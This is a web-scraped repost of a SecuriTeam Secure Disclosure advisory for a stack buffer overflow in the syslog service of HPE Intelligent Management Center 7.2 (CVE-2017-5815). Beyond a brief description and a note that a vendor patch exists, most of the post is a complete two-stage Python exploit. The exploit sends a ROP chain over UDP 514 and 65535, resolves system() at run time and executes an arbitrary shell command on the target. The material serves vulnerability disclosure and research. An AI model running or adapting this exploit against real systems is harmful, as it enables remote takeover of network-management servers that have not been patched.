{"id":7834,"date":"2017-06-02T14:19:18","date_gmt":"2017-06-02T22:19:18","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/06\/02\/news-1616\/"},"modified":"2017-06-02T14:19:18","modified_gmt":"2017-06-02T22:19:18","slug":"news-1616","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2017\/06\/02\/news-1616\/","title":{"rendered":"SSD Advisory \u2013 HPE Intelligent Management Center (iMC) Code Execution"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Fri, 02 Jun 2017 07:59:35 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3218\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3218');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerability Summary<\/strong><br \/> The following advisory describes a Stack Buffer Overflow vulnerability found in HPE Intelligent Management Center version v7.2 (E0403P10) Enterprise, this vulnerability leads to an exploitable remote code execution.<\/p>\n<p>HPE Intelligent Management Center (iMC) delivers comprehensive management across campus core and data center networks. iMC converts meaningless network data to actionable information to keep your network, and your business, moving.<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program<\/p>\n<p><strong>Vendor response<\/strong><br \/> HPE has released a <a href=\"https:\/\/h20564.www2.hpe.com\/hpsc\/doc\/public\/display?docId=emr_na-hpesbhf03743en_us\" target=\"_blank\">patch<\/a> to address this vulnerability and issued the following CVE-2017-5815.<\/p>\n<p><span id=\"more-3218\"><\/span><\/p>\n<p><strong>Vulnerability Details <\/strong><br \/> HPE Intelligent Management Center (iMC) is vulnerable to a stack buffer overflow that lead to remote code execution. The <code>imcsyslogdm<\/code> service handles syslog messages received on UDP port 514. <\/p>\n<p>The <code>imcsyslogdm<\/code> service handles the forwarded messages by using <code><em>FORWARD_HEAD<\/em><\/code> ( &#8216;<em>Forwarded From:<\/em>&#8216;) and <code><em>FORWARD_HEAD_END<\/em><\/code> (&#8216;<em>Quidview<\/em>&#8216;) markers at the beginning of the packet to indicate the originator of the syslog message. In case there&#8217;s a <code><em>FORWARD_HEAD<\/em><\/code> marker but no <code><em>FORWARD_HEAD_END<\/em><\/code>, the application ends up copying the contents of the packet into a fixed-size stack buffer that is vulnerable to a buffer overflow.<\/p>\n<p><strong>Proof of Concept<\/strong><br \/> The first stage of the proof of concept is used to trigger the overflow and start a ROP chain by sending data on UDP port 514. The application also binds to UDP port 65535 but doesn&#8217;t seem to use it. After we triggered the buffer overflow, we will look for the file descriptor of this socket &#8211; the file descriptor number of this socket seems to be the number 27 most of the time, and the number 28 occasionally. To avoid non-determinism, the ROP chain retrieves the file descriptor number from the singleton instance holding it. <\/p>\n<p>Then it reads 0x25f bytes into the .bss and pivots the stack there. The second stage contains another ROP chain, the command to be executed, and some helper strings. It resolves the address of <code>system<\/code> in libc via <code>dlopen<\/code> and <code>dlsym<\/code>. Executes the command via <code>system<\/code>. The command length is currently limited to ~470 bytes (the exploit checks for this) but could be extended for more and ends in an infinite loop. <\/p>\n<p>While termination is avoided this way, this thread is responsible for handling syslog messages, so that function of the program will be broken. <\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5931e46486606004868985\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> #!\/usr\/bin\/env python2  import socket  import struct    IP = &#8216;192.168.0.20&#8217;  PORT = 514  # the command to execute  command = &#8216;echo &#8220;OK GOOGLE!&#8221; &gt; \/etc\/issue ; #\u0000&#8217;    # port to use for the second stage payload, this is created during normal operation  # of the application, we just reuse it because there&#8217;s no other thread waiting on it  # like in the case of the initial udp\/514 vector, which could interfere with sending  # the second stage  PORT_SECOND_STAGE = 65535    # markers used for forwarded syslog messages  SYSLOG_FORWARD_HEAD = &#8216;Forwarded From:&#8217;  SYSLOG_FORWARD_HEAD_END = &#8216;Quidview&#8217;      def rop(*args):      return struct.pack(&#8216;I&#8217; * len(args), *args)      # mock object of the ELF class from pwntools so that the final exploit doesn&#8217;t depend on it  class ELF:      def bss(self, offset):          return 0x884D0C0 + offset        plt = {          &#8216;read&#8217;: 0x805957C,          &#8216;dlopen&#8217;: 0x805857C,          &#8216;dlsym&#8217;: 0x80597BC,      }      e = ELF()    # strings used in the second stage  libc_str = &#8216;libc.so.6\u0000&#8217;  system_str = &#8216;system\u0000&#8217;    # ROP gadgets from, the latest available version:  #   (Intelligent Management Center Enterprise (7.2_E0403) with E0403P10 applied  # [root@vm bin]# md5sum imcsyslogdm  # 8b06adbd3d47a372358d9106e659d9b2  imcsyslogdm  pop2_ret = 0x0805b137       # pop edi ; pop ebp ; ret  pop3_ret = 0x08480408       # pop edi ; pop ebx ; pop ebp ; ret  pop4_ret = 0x084f213a       # pop edi ; pop esi ; pop ebx ; pop ebp ; ret    zero_edx = 0x084f90c1       # xor edx, edx ; ret  inc_edx = 0x0811c5e6        # inc edx ; ret  pop_ebx = 0x080dd8cd        # pop ebx ; ret    # used to write values obtained dynamically by the ROP chain to the stack  eax_to_stack = 0x08703fba   # mov dword ptr [esp + edx*8], eax ; adc dword ptr [ebx], eax ; ret    ret = 0x080485c0            # ret  add_eax_28 = 0x084ddd16     # add eax, 0x1c ; pop ebp ; ret  dec_eax = 0x080dd660        # dec eax ; ret  zero_eax = 0x080834d4       # xor eax, eax ; ret  add_eax_25f = 0x0845f636    # add eax, 0x25f ; pop ebx ; pop ebp ; ret  ret_C = 0x0814b04e          # ret 0xc  xchg_eax_esp = 0x0807a2c7   # xchg eax, esp ; ret  pop_eax = 0x0837db70        # pop eax ; ret  get_instance = 0x08091210   # ::instance of a Singleton used to retrieve a socket fd  mov_eax_eax_plus_0x5c = 0x08562d44  # mov eax, dword ptr [eax + 0x5c] ; ret      # the offset of the second stage into the .bss  second_stage_offset_into_bss = 0x6500  second_stage_data = libc_str + system_str + command  # place the data above the rop chain so that the stack usage of functions  # won&#8217;t clobber it. Also, the second ROP chain has to be shorter than this.  second_stage_data_offset = 120    # the length of the command to be executed is limited to around 470 bytes  assert len(command) &lt; 0x25f &#8211; second_stage_data_offset &#8211; len(system_str) &#8211; len(libc_str)    # the first stage has to be 0-byte free, so we do as little as possible here to read in a second stage  first_stage = rop(      # the stack write gadget (`eax_to_stack` above) writes eax to [esp + edx*8]      zero_edx,      inc_edx,      inc_edx,      inc_edx,      inc_edx,      inc_edx,      inc_edx,      inc_edx,      inc_edx,      pop_ebx,      # points somewhere in the bss, just needs to be writable for the eax_to_stack gadget      e.bss(0x5fc0),        # the second stage goes to udp\/65535, which the application binds but doesn&#8217;t      # seem to use for anything. The only thing not completely deterministic in the exploit      # is the fd number of this port, which seems to be quite reliably 27 but sometimes 28.      # We get its fd from a class member, and we get the class via a singleton ::instance function.      # [root@vm bin]# lsof | grep syslog | grep UDP | grep 65535      # imcsyslog 24741      root   27u     IPv4           39655685       0t0        UDP *:65535      get_instance,      mov_eax_eax_plus_0x5c,      eax_to_stack,                   # write the handle to the stack        # write the read count to the stack      zero_edx,      inc_edx,      inc_edx,      inc_edx,      inc_edx,        zero_eax,      add_eax_25f,      # picked up by the above into ebx, written to by eax_to_stack, just needs to be writable      e.bss(second_stage_offset_into_bss &#8211; 0x80),      0x41414141,      eax_to_stack,  # write the handle to the stack      ret_C,      e.plt[&#8216;read&#8217;],      0x41414141, 0x41414141, 0x41414141,      pop3_ret,      0x41414141,     # placeholder for the fd of udp\/65535      e.bss(second_stage_offset_into_bss),      0x41414141,     # placeholder for the read count      pop_eax,      e.bss(second_stage_offset_into_bss),      xchg_eax_esp  )  assert &#8216;\u0000&#8217; not in first_stage    print(&#8216;* Sending first stage to udp\/514&#8217;)  # print repr(first_stage)  s_514 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  s_514.sendto(SYSLOG_FORWARD_HEAD + &#8216;A&#8217;*48 + first_stage + &#8216;\u0000&#8217;,               (IP, PORT))  s_514.close()    # the second stage does a dlopen\/dlsym to get the address of the system function,  # then executes the given command via it.  second_stage = rop(      e.plt[&#8216;dlopen&#8217;],                # get libc handle      pop2_ret,      e.bss(second_stage_offset_into_bss + second_stage_data_offset),      2,                              # RTLD_NOW (why not)        # write the returned handle to the stack      zero_edx,      inc_edx,      pop_ebx,      e.bss(second_stage_offset_into_bss &#8211; 0x80),                   # somewhere in the bss      eax_to_stack,                   # write the handle to the stack      e.plt[&#8216;dlsym&#8217;],      pop2_ret,      0x41516171,                     # placeholder, libc handle is written here      e.bss(second_stage_offset_into_bss + second_stage_data_offset + len(libc_str)),      # address is &#8216;system&#8217; string        # write the returned address to the stack      zero_edx,      inc_edx,      pop_ebx,      e.bss(second_stage_offset_into_bss &#8211; 0x80),                   # somewhere in the bss      eax_to_stack,                   # write the handle to the stack      ret,      ret,      0x51617181,                     # placeholder, the address of system gets written here      0x854ae76,                      # continuation of execution: a simple infinite loop of 0xeb 0xfe      e.bss(second_stage_offset_into_bss + second_stage_data_offset + len(libc_str) + len(system_str))  )    print(&#8216;* Sending second stage to udp\/65535&#8217;)  # print repr(second_stage)  second_stage_final = second_stage.ljust(second_stage_data_offset) + second_stage_data  s_65535 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  s_65535.sendto(second_stage_final.ljust(0x25f), (IP, PORT_SECOND_STAGE))  s_65535.close()  print(&#8216;! Done.&#8217;)<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0278 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/pf-button.gif\" alt=\"Print Friendly\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3218\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/pf-button.gif\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Fri, 02 Jun 2017 07:59:35 +0000<\/strong><\/p>\n<p>Vulnerability Summary The following advisory describes a Stack Buffer Overflow vulnerability found in HPE Intelligent Management Center version v7.2 (E0403P10) Enterprise, this vulnerability leads to an exploitable remote code execution. HPE Intelligent Management Center (iMC) delivers comprehensive management across campus core and data center networks. iMC converts meaningless network data to actionable information to keep &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3218\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 HPE Intelligent Management Center (iMC) Code Execution<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[12033,11682,10757],"class_list":["post-7834","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-buffer-overflow","tag-remote-code-execution","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/7834","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=7834"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/7834\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=7834"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=7834"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=7834"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}